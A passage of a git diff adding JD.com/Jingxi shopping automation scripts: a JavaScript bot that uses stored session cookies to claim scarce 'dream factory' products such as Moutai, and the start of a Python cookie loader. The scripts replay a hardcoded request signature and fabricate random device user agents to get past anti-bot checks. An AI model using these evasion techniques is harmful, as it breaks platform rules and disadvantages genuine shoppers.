i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_jxgc.js b/backUp/jd_jxgc.js new file mode 100644 index 0000000..72fc88e --- /dev/null +++ b/backUp/jd_jxgc.js @@ -0,0 +1,239 @@ +/* +#自定义商品变量 +export shopid="1598" ##你要商品ID 冰箱 +export shopid1="1607" ##你要商品ID 茅台 +0 18,19 * * * jd_jxgc.js +*/ +const $ = new Env('柠檬惊喜工厂抢茅台'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +shopid="" // ##你要商品ID 茅台 +shopid1="" //##你要商品ID 冰箱 + +if (process.env.shopid) { + shopid = process.env.shopid; +} + +if (process.env.shopid1) { + shopid1 = process.env.shopid1; +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + await list() + await list1() + + + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function list() { + return new Promise(async (resolve) => { + + let options = { + url: `https://m.jingxi.com//dreamfactory/userinfo/AddProduction?zone=dream_factory&factoryId=1099554520843&deviceId=1099554520844&commodityDimId=${shopid}&replaceProductionId=&_time=1623146403538&_stk=_time%2CcommodityDimId%2CdeviceId%2CfactoryId%2CreplaceProductionId%2Czone&_ste=1&h5st=20210608180003579%3B6987023816710162%3B10001%3Btk01wb98b1baea8nNmdTeHBoaEIyyVt8MwWYitL210lOXs66ovEkPI%2BwUC5jAypABgM%2F76EgUhE0cmmxqg6RQDK06%2FWV%3Be4127f4722141f14e44078fde821d9d5e68b71ca248715dfc44442443612dfcb&_=1623146403580&sceneval=2&g_login_type=1&callback=jsonpCBKQQQQ&g_ty=ls`, + + // body: `functionId=HomeZeroBuy&body={"pageNum":1,"channel":"speed_app"}&appid=megatron&client=megatron&clientVersion=1.0.0`, +headers: { +"X-Requested-With": "com.jd.pingou", + +"Referer": "https://st.jingxi.com/pingou/dream_factory/index.html?sceneval=2&ptag=7155.9.46", +"Host": "m.jingxi.com", + "User-Agent": "jdpingou;android;4.9.0;10;7049442d7e415232;network/UNKNOWN;model/PCAM00;appBuild/16879;partner/oppo01;;session/10;aid/7049442d7e415232;oaid/;pap/JA2019_3111789;brand/OPPO;eu/7303439343432346;fv/7356431353233323;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.92 Mobile Safari/537.36", + "Cookie": cookie, + } + } + + $.get(options, async (err, resp, data) => { + try { + +$.log("冰箱:"+data) + + //} + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function list1() { + return new Promise(async (resolve) => { + + let options = { + url: `https://m.jingxi.com//dreamfactory/userinfo/AddProduction?zone=dream_factory&factoryId=1099554520843&deviceId=1099554520844&commodityDimId=${shopid1}&replaceProductionId=&_time=1623146403538&_stk=_time%2CcommodityDimId%2CdeviceId%2CfactoryId%2CreplaceProductionId%2Czone&_ste=1&h5st=20210608180003579%3B6987023816710162%3B10001%3Btk01wb98b1baea8nNmdTeHBoaEIyyVt8MwWYitL210lOXs66ovEkPI%2BwUC5jAypABgM%2F76EgUhE0cmmxqg6RQDK06%2FWV%3Be4127f4722141f14e44078fde821d9d5e68b71ca248715dfc44442443612dfcb&_=1623146403580&sceneval=2&g_login_type=1&callback=jsonpCBKQQQQ&g_ty=ls`, + + // body: `functionId=HomeZeroBuy&body={"pageNum":1,"channel":"speed_app"}&appid=megatron&client=megatron&clientVersion=1.0.0`, +headers: { +"X-Requested-With": "com.jd.pingou", + +"Referer": "https://st.jingxi.com/pingou/dream_factory/index.html?sceneval=2&ptag=7155.9.46", +"Host": "m.jingxi.com", + "User-Agent": "jdpingou;android;4.9.0;10;7049442d7e415232;network/UNKNOWN;model/PCAM00;appBuild/16879;partner/oppo01;;session/10;aid/7049442d7e415232;oaid/;pap/JA2019_3111789;brand/OPPO;eu/7303439343432346;fv/7356431353233323;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.92 Mobile Safari/537.36", + "Cookie": cookie, + } + } + + $.get(options, async (err, resp, data) => { + try { + +$.log("茅台:"+data) + + //} + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + + + + + + + + + + + + + + + + + +async function taskPostUrl(functionId,body) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=content_ecology&uuid=6898c30638c55142969304c8e2167997fa59eb54&t=1622588448365`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + + +async function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_jxgc_tuan.py b/backUp/jd_jxgc_tuan.py new file mode 100644 index 0000000..695c852 --- /dev/null +++ b/backUp/jd_jxgc_tuan.py @@ -0,0 +1,592 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -* +''' +cron: 0 0,7,10 * * * jd_jxgc_tuan.py +new Env('京喜工厂开团'); +''' +#ck 优先读取【JDCookies.txt】 文件内的ck 再到 ENV的 变量 JD_COOKIE='ck1&ck2' 最后才到脚本内 cookies=ck +cookies = '' +# 设置开团的账号可填用户名 或 pin的值不要; env 设置 export jxgc_kaituan="用户1&用户2" +# jxgc_kaituan = ['用户1','用户2'] +jxgc_kaituan = [] + +#京喜UA +UserAgent = '' + +import os, re, sys +import random +try: + import requests +except Exception as e: + print(e, "\n缺少requests 模块,请执行命令安装:pip3 install requests") + exit(3) +from urllib.parse import unquote, quote +import json +import time, datetime +requests.packages.urllib3.disable_warnings() +pwd = os.path.dirname(os.path.abspath(__file__)) + os.sep +from hashlib import sha256, sha512, md5 +import hmac + +appId = 10001 +activeId = 'Xj2_3G-hQ4GRLCsLqIxFeQ%3D%3D' + +countElectric = {} +def userAgent(): + global iosV + """ + 随机生成一个UA + :return: ua + """ + if not UserAgent: + uuid = ''.join(random.sample('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 40)) + addressid = ''.join(random.sample('1234567898647', 10)) + iosVer = ''.join(random.sample(["14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1", "13.7", "13.1.2", "13.1.1"], 1)) + iosV = iosVer.replace('.', '_') + iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) + ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + return f'jdpingou;iPhone;4.11.0;{iosVer};{uuid};network/wifi;model/iPhone{iPhone},1;appBuild/100591;ADID/{ADID};supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/8;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148' + else: + return UserAgent + +def getEnvs(label): + try: + if label == 'True' or label == 'yes' or label == 'true' or label == 'Yes': + return True + elif label == 'False' or label == 'no' or label == 'false' or label == 'No': + return False + except Exception as e: + pass + try: + if '.' in label: + return float(label) + elif '&' in label: + return label.split('&') + elif '@' in label: + return label.split('@') + else: + return int(label) + except: + return label + +class getJDCookie(object): + # 适配各种平台环境ck + + def getckfile(self): + global v4f + curf = pwd + 'JDCookies.txt' + v4f = '/jd/config/config.sh' + ql_new = '/ql/config/env.sh' + ql_old = '/ql/config/cookie.sh' + if os.path.exists(curf): + with open(curf, "r", encoding="utf-8") as f: + cks = f.read() + f.close() + r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) + cks = r.findall(cks) + if len(cks) > 0: + return curf + else: + pass + if os.path.exists(ql_new): + print("当前环境青龙面板新版") + return ql_new + elif os.path.exists(ql_old): + print("当前环境青龙面板旧版") + return ql_old + elif os.path.exists(v4f): + print("当前环境V4") + return v4f + return curf + + # 获取cookie + def getCookie(self): + global cookies + ckfile = self.getckfile() + try: + if os.path.exists(ckfile): + with open(ckfile, "r", encoding="utf-8") as f: + cks = f.read() + f.close() + if 'pt_key=' in cks and 'pt_pin=' in cks: + r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) + cks = r.findall(cks) + if len(cks) > 0: + if 'JDCookies.txt' in ckfile: + print("当前获取使用 JDCookies.txt 的cookie") + cookies = '' + for i in cks: + if 'pt_key=xxxx' in i: + pass + else: + cookies += i + return + else: + with open(pwd + 'JDCookies.txt', "w", encoding="utf-8") as f: + cks = "#多账号换行,以下示例:(通过正则获取此文件的ck,理论上可以自定义名字标记ck,也可以随意摆放ck)\n账号1【Curtinlv】cookie1;\n账号2【TopStyle】cookie2;" + f.write(cks) + f.close() + if "JD_COOKIE" in os.environ: + if len(os.environ["JD_COOKIE"]) > 10: + cookies = os.environ["JD_COOKIE"] + print("已获取并使用Env环境 Cookie") + except Exception as e: + print(f"【getCookie Error】{e}") + + # 检测cookie格式是否正确 + def getUserInfo(self, ck, pinName, userNum): + url = 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion?orgFlag=JD_PinGou_New&callSource=mainorder&channel=4&isHomewhite=0&sceneval=2&sceneval=2&callback=' + headers = { + 'Cookie': ck, + 'Accept': '*/*', + 'Connection': 'close', + 'Referer': 'https://home.m.jd.com/myJd/home.action', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'me-api.jd.com', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1', + 'Accept-Language': 'zh-cn' + } + try: + if sys.platform == 'ios': + resp = requests.get(url=url, verify=False, headers=headers, timeout=60).json() + else: + resp = requests.get(url=url, headers=headers, timeout=60).json() + if resp['retcode'] == "0": + nickname = 